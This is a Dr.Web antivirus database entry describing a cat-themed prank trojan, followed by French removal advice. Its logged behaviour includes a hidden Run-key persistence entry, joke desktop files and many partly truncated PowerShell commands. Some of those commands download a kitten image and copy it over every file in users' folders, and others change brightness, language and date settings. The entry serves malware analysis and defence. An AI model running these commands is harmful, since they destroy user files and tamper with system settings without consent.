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Trojan.Siggen33.58812
Added to the Dr.Web virus database:
2026-08-29
Virus description added:
2026-08-30
Technical Information
To ensure autorun and distribution
Modifies the following registry keys
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MsUpdate_r9z047' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msupdate_kzox8q.exe'
Creates or modifies the following files
%APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Modifies file system
Creates the following files
%HOMEPATH%\desktop\i_am_a_cat.txt
%HOMEPATH%\desktop\if_i_fits_i_sits.txt
%HOMEPATH%\desktop\do_not_open.txt
%HOMEPATH%\desktop\pspspsps.txt
%HOMEPATH%\desktop\your_clippboard_is_mine.txt
%HOMEPATH%\desktop\nap_time.txt
%HOMEPATH%\desktop\meow_meow_meow.txt
%HOMEPATH%\desktop\cat_facts.txt
%HOMEPATH%\desktop\open_me.txt
%HOMEPATH%\desktop\hiss.txt
%HOMEPATH%\desktop\cat.exe.txt
Sets the 'hidden' attribute to the following files
%APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Miscellaneous
Searches for the following windows
ClassName: 'Progman' WindowName: ''
ClassName: 'SHELLDLL_DefView' WindowName: ''
ClassName: 'SysListView32' WindowName: ''
Executes the following
'<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing" 2>nul
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -Command "Get-ChildItem -Path 'C:\Users' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'Windows|AppData|\.ms' } | For...
'<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Contro...
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)" 2>nul
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'...
'<SYSTEM32>\cmd.exe' /c powershell -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n....
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force" 2>nul
'<SYSTEM32>\cmd.exe' /c start https://www.reddit.com/r/cats
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'" 2>nul
'<SYSTEM32>\cmd.exe' /c powershell -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Desti...
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)" 2>nul
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'" 2>nul
'<SYSTEM32>\cmd.exe' /c start https://www.youtube.com/results?search_query=funny+cats
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)" 2>nul
'<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\assembly
'<SYSTEM32>\cmd.exe' /k type %WINDIR%\win.ini
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing ...
'<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()" 2>nul
'<SYSTEM32>\cmd.exe' /c start https://www.speedtest.net
'<SYSTEM32>\control.exe' keyboard
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'" 2>nul
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,32)" 2>nul
'<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_4wv23h.lnk'); $s.TargetPath='calc.exe'; $s.Save()" 2>nul
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing"
'<SYSTEM32>\cmd.exe' /k echo PSPSPSPSPSPSPSPSPSPS
'<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Prefetch
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Destination $_.Full...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'; $b.BalloonTi...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Control Panel\Deskto...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n.Visible=$true;...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)"
'<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_yxkpns.lnk'); $s.TargetPath='https://www.youtube.com/results?search_query=cat+vide...
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,90)" 2>nul
'<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Fonts
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing the song of it...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()"
'<SYSTEM32>\control.exe' mouse
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing t...
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap(200,200); $g=[System.Drawing.Graphics]::FromImage...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'"
'<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -Command "Get-ChildItem -Path 'C:\Users' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'Windows|AppData|\.ms' } | For...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Contro...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n....' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Desti...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing ...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,32)" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_4wv23h.lnk'); $s.TargetPath='calc.exe'; $s.Save()" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_yxkpns.lnk'); $s.TargetPath='https://www.youtube.com/results?search_query=cat+vide...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,90)" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing t...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap(200,200); $g=[System.Drawing.Graphics]::FromImage...' (with hidden window)
Recommandations pour le traitement
Windows
macOS
Linux
Android
Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space .
Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android . Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
Débranchez votre appareil et rebranchez-le.
En savoir plus sur Dr.Web pour Android
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